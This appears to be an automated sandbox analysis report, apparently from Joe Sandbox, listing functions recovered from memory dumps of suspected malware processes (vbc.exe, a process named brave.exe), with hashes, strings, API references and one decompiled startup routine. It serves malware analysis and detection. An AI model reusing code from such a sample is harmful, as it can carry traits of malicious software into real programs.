Opcode ID: 849f830c1fd76a933fe3332d3979adc5531a5682017e6c1f216ce5a2b022ecc8
Instruction ID: 36ac58ad076ddd8bd0285c85ae988f8a3c56430f67248c324cd6cc849d82435b
Opcode Fuzzy Hash: 849f830c1fd76a933fe3332d3979adc5531a5682017e6c1f216ce5a2b022ecc8
Instruction Fuzzy Hash: 48D0A7B8C61204BFCB109F50B44DBEA7F74E706346F0001D59E0C13291B7788E2A99A1

Uniqueness

Uniqueness Score: -1.00%

Function 04BDEDB0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be432c38447052676dcae28f6bdd5e6c1811adc8902a4cb93ddcda79c6a29909
Instruction ID: ba421d45aebf8f9104080188bd737ef0942b27969babbd60a80bf6001832bf86
Opcode Fuzzy Hash: be432c38447052676dcae28f6bdd5e6c1811adc8902a4cb93ddcda79c6a29909
Instruction Fuzzy Hash: 0AE09AB4D0420E9F8B84DFA9D4415BEBFF4EB48200F10816AD559E3240E7345A51DFD5

Uniqueness

Uniqueness Score: -1.00%

Function 04BDC8B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3144bf66bf3e97f741f58861b663592b25fba27cbf0de134b835be87226169f
Instruction ID: 4aeae09d03739c1a4da5fc89aec16119baaf0d08064e8a11eceeb044da64584a
Opcode Fuzzy Hash: e3144bf66bf3e97f741f58861b663592b25fba27cbf0de134b835be87226169f
Instruction Fuzzy Hash: 08E0D8305092808FD749CF69C3125157FE2EB81600F0541DDE142C7266D7789445CB41

Uniqueness

Uniqueness Score: -1.00%

Function 04BDBCC8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea47fa5a2bc9dcaf5a9cb07963f84f3e21031e68b6b4f4a443abd070f41eab89
Instruction ID: 37ec174c49ea1a646123682f7e1dbe0070edde8e24383625c59507d1dfc08881
Opcode Fuzzy Hash: ea47fa5a2bc9dcaf5a9cb07963f84f3e21031e68b6b4f4a443abd070f41eab89
Instruction Fuzzy Hash: 19D0C731718114174505636E78544BE768F9FC6568358047AD509DB740DF956C5A03F6

Uniqueness

Uniqueness Score: -1.00%

Function 0A096460 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1def0a55ed0c957721fd54699994202aab232664d825c95fe70781cdb4c6dbe
Instruction ID: 7be629884248bd25039fb303364c696bfbbb6ae091adee4b91660e093abe91c2
Opcode Fuzzy Hash: e1def0a55ed0c957721fd54699994202aab232664d825c95fe70781cdb4c6dbe
Instruction Fuzzy Hash: A4E09974E05208AF8B44EFA9E44949DFFF5AB88210F00C0AA9808E3310EA349A448F81

Uniqueness

Uniqueness Score: -1.00%

Function 0A09C940 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20e3a48422a49b4ee752e3691ee6404262c68e73002f76a7b85f9bdd3a872fc3
Instruction ID: 55ac8dc54acf27d029a3250160a05d7f4da55a327a0669e41f729e9f3645b721
Opcode Fuzzy Hash: 20e3a48422a49b4ee752e3691ee6404262c68e73002f76a7b85f9bdd3a872fc3
Instruction Fuzzy Hash: BAD05E30204249CBD744ABB5E6486293BAADB85209B0040A8FA0E87A00DB79D8D09A86

Uniqueness

Uniqueness Score: -1.00%

Function 0A09F250 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8104f87e4ec7b4e6e91d1e96e46d51223e4b9d5f859196947c08f32d722c953b
Instruction ID: 9b0be43f50409ae8716600b2687c6859cf4548826cdb9d32497d6fc97e9b790c
Opcode Fuzzy Hash: 8104f87e4ec7b4e6e91d1e96e46d51223e4b9d5f859196947c08f32d722c953b
Instruction Fuzzy Hash: 69E0E57590020FCBEB60CF90C959BDEBBB0BB44300F10415AD809E7280CB745985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0A02DE08 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ad283f4e20ca6d1efa91e18c0921306ad840acdeb198b3d383bc14993ac418
Instruction ID: aaf95bff6f77cffd3a761e7c1c0caf8fe24d3c140b87af365dbddb6d30a458dd
Opcode Fuzzy Hash: 67ad283f4e20ca6d1efa91e18c0921306ad840acdeb198b3d383bc14993ac418
Instruction Fuzzy Hash: 25E0C230A0220CEFCB44DFB8E54144DB7B9EB46218B1045A8E808D7300EB712F409B90

Uniqueness

Uniqueness Score: -1.00%

Function 0A095B38 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7d7611f91d4fa9dacab02d6ba34a757f08ac687afd160b3d04e32a09e9b9d32
Instruction ID: c55082c65e7957f7791310b686052924372fe16e6ed1ff56b3b562abf8cdc2c0
Opcode Fuzzy Hash: f7d7611f91d4fa9dacab02d6ba34a757f08ac687afd160b3d04e32a09e9b9d32
Instruction Fuzzy Hash: C9D0A9313119288FC700AB2CE40889873E8AF4A66430080AAEA06CB330CBA1AC008BC9

Uniqueness

Uniqueness Score: -1.00%

Function 0A02E390 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f35fe10639dc7aabd5a975befbb2fe52c905c92de959ab8b35f4d3eb6ed427
Instruction ID: f8f4868803d0697869fab617b76b32666af56492e0a535e3ed0be1d1fb400bf0
Opcode Fuzzy Hash: e5f35fe10639dc7aabd5a975befbb2fe52c905c92de959ab8b35f4d3eb6ed427
Instruction Fuzzy Hash: 3CD0A93024032E83EA64161AD00869ABB99AB8222AF08C92EC10A86650CFB098C48FC4

Uniqueness

Uniqueness Score: -1.00%

Function 04BD0448 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e38671ef4f4793bd0469c927819d740e3e28239c0719ad769399a84b6c82b7
Instruction ID: 0f5c3f1c6430f872c386287c0a09b4ce500b190c40820bcd6f51b99c33eec14f
Opcode Fuzzy Hash: c2e38671ef4f4793bd0469c927819d740e3e28239c0719ad769399a84b6c82b7
Instruction Fuzzy Hash: F9C08030821308DFCB109F94B40CB6ABB7CF703306F0015D5D50853640D7355D54C575

Uniqueness

Uniqueness Score: -1.00%

Function 0A02BCBA Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c146f5b53dd71baa04db11a346697ec093acc0ad1696798cc1f49d5bccec743e
Instruction ID: 53722e43b5893b171b7000bdb06ea7546cfbf2dbdef1521c068c390af6e64172
Opcode Fuzzy Hash: c146f5b53dd71baa04db11a346697ec093acc0ad1696798cc1f49d5bccec743e
Instruction Fuzzy Hash: C9D09E78F04159DFDF20CF98E454ADCB7B4FB8A305F104096D849A7604D3745A55CF12

Uniqueness

Uniqueness Score: -1.00%

Function 0A023FB0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb8285381e0895e3d51f25ddab9a27eb87e2c10d8d18c9e49c18b0dddf344f2e
Instruction ID: 27ce198ea4b50582c1dc9a40f182b81bc172cfe29bb991d91dca18a95f0c7358
Opcode Fuzzy Hash: eb8285381e0895e3d51f25ddab9a27eb87e2c10d8d18c9e49c18b0dddf344f2e
Instruction Fuzzy Hash: 81C08C31190748CFCBC0ABA4F00889877B9EF886293218090F50C8F631EB62EC108A42

Uniqueness

Uniqueness Score: -1.00%

Function 0A09C9D8 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3cdc16552c03109a1ae2cf2e292d74246c13549fc535802758d4b7d070986c0
Instruction ID: 293142b648552990c4de76dadee76fdbb98af0fefb229a0063d0bc1cdc372365
Opcode Fuzzy Hash: b3cdc16552c03109a1ae2cf2e292d74246c13549fc535802758d4b7d070986c0
Instruction Fuzzy Hash: 98D0231290D3D48FDF939B75052C3593F724B93106F0800CFE9C68B143C8580544E393

Uniqueness

Uniqueness Score: -1.00%

Function 0A0956D0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a284c50297a18713c860d9e2b599b9331b38e70becbdbd826ef4c9a8d01df41
Instruction ID: 7a52ab746348c6041bdd4ddaf1b0c25acdbf03977813c517e6fc8dfd8f993969
Opcode Fuzzy Hash: 2a284c50297a18713c860d9e2b599b9331b38e70becbdbd826ef4c9a8d01df41
Instruction Fuzzy Hash: 2FC0123141060C8EC700BAA8E444898BBB8FB16300B40622AE44A6B110FB20A9A9CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0A095700 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7b9ef63cee094d68df112474e60846a7f061d320c021626067f974ed7576011
Instruction ID: ca58f05d7d8c352560b1f81d0e52afc233c4d491f57c30b3492479f9fdd1132d
Opcode Fuzzy Hash: a7b9ef63cee094d68df112474e60846a7f061d320c021626067f974ed7576011
Instruction Fuzzy Hash: 14C0123241060C8EC700BAA8E444898BBB8EB16301B00826AE4452B200EB30A5A9CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04BDBC60 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ec2cbd2698cfac55d221805757bb6a9ae5114b8ef1a8ad5d6999cbfd715f24
Instruction ID: d82c893f4166eab29a6b12543f07e7c3f6475e2914459452d39dbd90ece9efa8
Opcode Fuzzy Hash: b5ec2cbd2698cfac55d221805757bb6a9ae5114b8ef1a8ad5d6999cbfd715f24
Instruction Fuzzy Hash: C9C04C3049C3C14FCB4A86705D291463EA06982310F1545D59592C6161C6588549CA17

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0A02A260 Relevance: 11.6, Strings: 9, Instructions: 378COMMON

Download Yara Rule

Strings

{Vvb^, xrefs: 0A02A50D, 0A02A512
;Vvb^, xrefs: 0A02A5F1, 0A02A5F6
+Vvb^, xrefs: 0A02A620, 0A02A625
Vvb^, xrefs: 0A02A3AF, 0A02A3B4
+Wvb^, xrefs: 0A02A2EA, 0A02A2EF
kVvb^, xrefs: 0A02A53F, 0A02A544
Uvb^, xrefs: 0A02A6E8, 0A02A6ED
KVvb^, xrefs: 0A02A5A3, 0A02A5A8
[Vvb^, xrefs: 0A02A571, 0A02A576

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: +Vvb^$+Wvb^$;Vvb^$KVvb^$[Vvb^$kVvb^${Vvb^$Uvb^$Vvb^
API String ID: 0-782187708
Opcode ID: 6cd357c1de42d7e8d87d5ab1fc77b1d52f8396d06c40fb0a465bc2d90bdf7ba7
Instruction ID: 73307bed2b7233e1ab9ed863cccf15bd4c679295bc5511aa97cbbc7547eddced
Opcode Fuzzy Hash: 6cd357c1de42d7e8d87d5ab1fc77b1d52f8396d06c40fb0a465bc2d90bdf7ba7
Instruction Fuzzy Hash: 5EE123B4E003189FEB14EBB4D8A5AAEF7B7EF89304F504419D51AA7345CE356C05CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0A02A270 Relevance: 11.6, Strings: 9, Instructions: 374COMMON

Download Yara Rule

Strings

{Vvb^, xrefs: 0A02A50D, 0A02A512
;Vvb^, xrefs: 0A02A5F1, 0A02A5F6
+Vvb^, xrefs: 0A02A620, 0A02A625
Vvb^, xrefs: 0A02A3AF, 0A02A3B4
+Wvb^, xrefs: 0A02A2EA, 0A02A2EF
kVvb^, xrefs: 0A02A53F, 0A02A544
Uvb^, xrefs: 0A02A6E8, 0A02A6ED
KVvb^, xrefs: 0A02A5A3, 0A02A5A8
[Vvb^, xrefs: 0A02A571, 0A02A576

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: +Vvb^$+Wvb^$;Vvb^$KVvb^$[Vvb^$kVvb^${Vvb^$Uvb^$Vvb^
API String ID: 0-782187708
Opcode ID: a5e81eac64039686cf178f26278624d5487d385a9a69c8cdc65cb27dfc911be1
Instruction ID: 74fdf967318b64899d6b3d1e0ecac9fc90c2659cba0f35882f8a3aa4768335fd
Opcode Fuzzy Hash: a5e81eac64039686cf178f26278624d5487d385a9a69c8cdc65cb27dfc911be1
Instruction Fuzzy Hash: 64E103B4E003189FEB14EBB4D865AAEF7B6EF89708F504419D51AA7344CE356C05CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0A02C430 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90380c9de3c739171e1e5fd50c5cd437ac164e50b8893648e583dc7dcb75be9
Instruction ID: 3ce14ebbc83bfeaf5051dd64dd50c1ba959b993f56c644e9571bec2b72248fac
Opcode Fuzzy Hash: e90380c9de3c739171e1e5fd50c5cd437ac164e50b8893648e583dc7dcb75be9
Instruction Fuzzy Hash: 9461CE70E012189FEB14DFA9C584ADDBBB2FF89304F659029E415BB360DB34A846CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0A09A4A0 Relevance: 12.7, Strings: 10, Instructions: 199COMMON

Download Yara Rule

Strings

T{u, xrefs: 0A09A64A
T{u, xrefs: 0A09A6F4
T{u, xrefs: 0A09A589
T{u, xrefs: 0A09A6D7
T{u, xrefs: 0A09A6A9
T{u, xrefs: 0A09A5BA
T{u, xrefs: 0A09A67B
T{u, xrefs: 0A09A558
T{u, xrefs: 0A09A619
T{u, xrefs: 0A09A5EB

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: T{u$T{u$T{u$T{u$T{u$T{u$T{u$T{u$T{u$T{u
API String ID: 0-2837178448
Opcode ID: db903ba8d075e118ec8b0b68906a1f4a741b4b37056b9973c003bbe1c1b72916
Instruction ID: 939e1c34f5a04fa1373688d391b052543c40b5da161b715cc63eb3ea48acf1a7
Opcode Fuzzy Hash: db903ba8d075e118ec8b0b68906a1f4a741b4b37056b9973c003bbe1c1b72916
Instruction Fuzzy Hash: 8B5149367191685FDF896338981022D7EF6CB89350F1941AADC06C73C1EEB8DC0697E2

Uniqueness

Uniqueness Score: -1.00%

Function 0A083280 Relevance: 5.3, Strings: 4, Instructions: 288COMMON

Download Yara Rule

Strings

X8, xrefs: 0A083395
p8, xrefs: 0A0833D0
(8, xrefs: 0A083317
@8, xrefs: 0A083356

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: (8$@8$X8$p8
API String ID: 0-3163054600
Opcode ID: ce842f0baf2bd2186e11b841b69bbec15063be482f06b969eb4b034ebe25ddc2
Instruction ID: 5e38db7934b959e889984002cb3ca75d539de992a943ee56d2264bef747e3253
Opcode Fuzzy Hash: ce842f0baf2bd2186e11b841b69bbec15063be482f06b969eb4b034ebe25ddc2
Instruction Fuzzy Hash: 09B15D74B10204AFCB54EF68D894DAEBBF6FF89B10B118055E9169B3A1CB31EC05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0A083261 Relevance: 5.2, Strings: 4, Instructions: 169COMMON

Download Yara Rule

Strings

X8, xrefs: 0A083395
p8, xrefs: 0A0833D0
(8, xrefs: 0A083317
@8, xrefs: 0A083356

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: (8$@8$X8$p8
API String ID: 0-3163054600
Opcode ID: 79bc257881498ed53f4590b794c5dfd8ef3a92489ddc593a5088117f62228f54
Instruction ID: 9a1ad1019293992f6b4ace5802976917b511e8413ef8c01bc3524d07b9975e49
Opcode Fuzzy Hash: 79bc257881498ed53f4590b794c5dfd8ef3a92489ddc593a5088117f62228f54
Instruction Fuzzy Hash: F8514D78710204AFC754EF58D894DAEBBBAFF89B04B118095E9569F361C735DC01CB62

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: brave.exePID: 2360, Parent PID: 3076COMMON

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.4%
Total number of Nodes:	1232
Total number of Limit Nodes:	13

Executed Functions

Function 00007FF755E81770 Relevance: 21.9, APIs: 11, Strings: 1, Instructions: 890
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00007FF755E81799
GetTickCount64.KERNEL32 ref: 00007FF755E817AA

Strings

yAA, xrefs: 00007FF755E81EB1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Count64Tick
String ID: yAA
API String ID: 1927824332-3548342407
Opcode ID: 5c59e4f68fa790ee4f25affb1997f506df7ebcc17c0a174d9e013da98860a468
Instruction ID: 8bbee95e0ac84b1db72ab7ca974d2dcaf8607a56f4ac6f353916e2d1768a49e7
Opcode Fuzzy Hash: 5c59e4f68fa790ee4f25affb1997f506df7ebcc17c0a174d9e013da98860a468
Instruction Fuzzy Hash: C2921925A087D241FB21AB24E9157BAE7A1FB85F88F885131DE8D1B796EF7DD140C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E83170 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 423
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCRT ref: 00007FF755E83384
strcmp.MSVCRT ref: 00007FF755E8358E
strcmp.MSVCRT ref: 00007FF755E83640
strcmp.MSVCRT ref: 00007FF755E836E7
strcmp.MSVCRT ref: 00007FF755E83797
strcmp.MSVCRT ref: 00007FF755E8383A
strcmp.MSVCRT ref: 00007FF755E838BA

Strings

}, xrefs: 00007FF755E836FC
KF , xrefs: 00007FF755E8385B
y, xrefs: 00007FF755E834E9

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: strcmp$_stricmp
String ID: KF $y$}
API String ID: 3398372305-1747734038
Opcode ID: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
Instruction ID: 6353ef752a6bbf594bd07f0172e938f40caa88bd3028bc7b13365466af705b1c
Opcode Fuzzy Hash: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
Instruction Fuzzy Hash: 3722B126A08BD185FB21DB29E9053AAB7A0FF55B88F889131DE8D47756DF3CE444C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E81190 Relevance: 10.7, APIs: 7, Instructions: 201
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 26%

			E00007FF77FF755E81190(void* __edi, void* __esp) {
				signed char _v120;
				char _v168;
				_Unknown_base(*)()* _t30;
				void* _t32;
				intOrPtr _t39;
				void* _t48;
				intOrPtr _t50;
				signed int _t52;
				signed int _t55;
				intOrPtr* _t87;
				long long _t88;
				intOrPtr* _t89;
				intOrPtr _t90;
				signed short* _t91;
				signed short* _t92;
				long long _t93;
				intOrPtr* _t95;
				intOrPtr _t97;
				long long* _t104;
				intOrPtr* _t109;
				signed short* _t110;
				signed long long _t111;
				void* _t113;
				signed short* _t114;
				long long _t118;
				signed long long _t122;

				_t111 =  *0x561369e0; // 0x7ff7561410e0
				r9d =  *_t111;
				memset(__edi, 0, 0xd << 0);
				if (r9d != 0) goto 0x55e8148b;
				_t97 =  *0x56136900; // 0x7ff756141090
				goto 0x55e811f9;
				if ( *((intOrPtr*)( *[gs:0x30] + 8)) ==  *[gs:0x30]) goto 0x55e81434;
				Sleep(??);
				asm("lock dec eax");
				if (_t113 != 0) goto 0x55e811e8;
				_t109 =  *0x56136910; // 0x7ff756141098
				if ( *_t109 == 1) goto 0x55e8144b;
				if ( *_t109 == 0) goto 0x55e814b4;
				 *0x5614101c = 1;
				if ( *_t109 == 1) goto 0x55e81460;
				if (0 == 0) goto 0x55e81481;
				_t87 =  *0x56136870; // 0x7ff756135a40
				_t88 =  *_t87;
				if (_t88 == 0) goto 0x55e8125c;
				r8d = 0;
				E00007FF77FF755E8E830( *_t88());
				_t30 = SetUnhandledExceptionFilter(??);
				_t104 =  *0x561368f0; // 0x7ff756141120
				 *_t104 = _t88;
				_t32 = E00007FF77FF755E8E640(E00007FF77FF755EA1D80(_t30, 0x7ff755e81000));
				_t89 =  *0x56136890; // 0x7ff755e80000
				 *0x56141010 = _t89;
				E00007FF77FF755EA1E70(_t32);
				_t90 =  *_t89;
				if (_t90 != 0) goto 0x55e812c3;
				goto 0x55e81308;
				if (2 == 0) goto 0x55e812dd;
				if (2 == 0) goto 0x55e812dd;
				_t91 = _t90 + 2;
				_t52 =  *_t91 & 0x0000ffff;
				if (_t52 - 0x20 <= 0) goto 0x55e812b0;
				r8d = 1;
				r8d = r8d ^ 0x00000001;
				_t48 =  ==  ? r8d : 1;
				goto 0x55e812bf;
				if (_t52 - 1 - 0x1f > 0) goto 0x55e81301;
				asm("o16 nop [cs:eax+eax]");
				_t92 =  &(_t91[1]);
				if (_t97 - 1 - 0x1f <= 0) goto 0x55e812f0;
				 *0x56141008 = _t92;
				r8d =  *_t111;
				if (r8d == 0) goto 0x55e81326;
				if ((_v120 & 0x00000001) != 0) goto 0x55e8142a;
				 *0x55eb3000 = 0xa;
				_t10 =  *0x56141038 + 1; // 0x7ffc2fc93ca1
				r13d = _t10;
				_t122 = r13d << 3;
				malloc(??);
				_t110 =  *0x56141030; // 0x1a882c117f0
				_t114 = _t92;
				if (r12d <= 0) goto 0x55e813ab;
				asm("o16 nop [eax+eax]");
				_t93 =  *((intOrPtr*)(_t110 + _t111 * 8));
				if ( *_t93 == 0) goto 0x55e81420;
				r8d = 1;
				if ( *((short*)(_t93 + ( &_v168 + 1) * 2 - 2)) != 0) goto 0x55e81370;
				malloc(??);
				 *((long long*)(_t114 + _t111 * 8)) = _t93;
				memcpy(??, ??, ??);
				if ( *0x56141038 != _t111 + 1) goto 0x55e81358;
				_t22 = _t122 - 8; // -8
				 *((long long*)(_t114 + _t22)) = 0;
				 *0x56141030 = _t114; // executed
				E00007FF77FF755E8E430();
				_t95 =  *0x561368a0; // 0x7ff756142708
				_t118 =  *0x56141028; // 0x1a882c168d0
				 *((long long*)( *_t95)) = _t118;
				_t39 = E00007FF77FF755E81770( *_t95);
				_t50 =  *0x56141020; // 0x0
				 *0x56141024 = _t39;
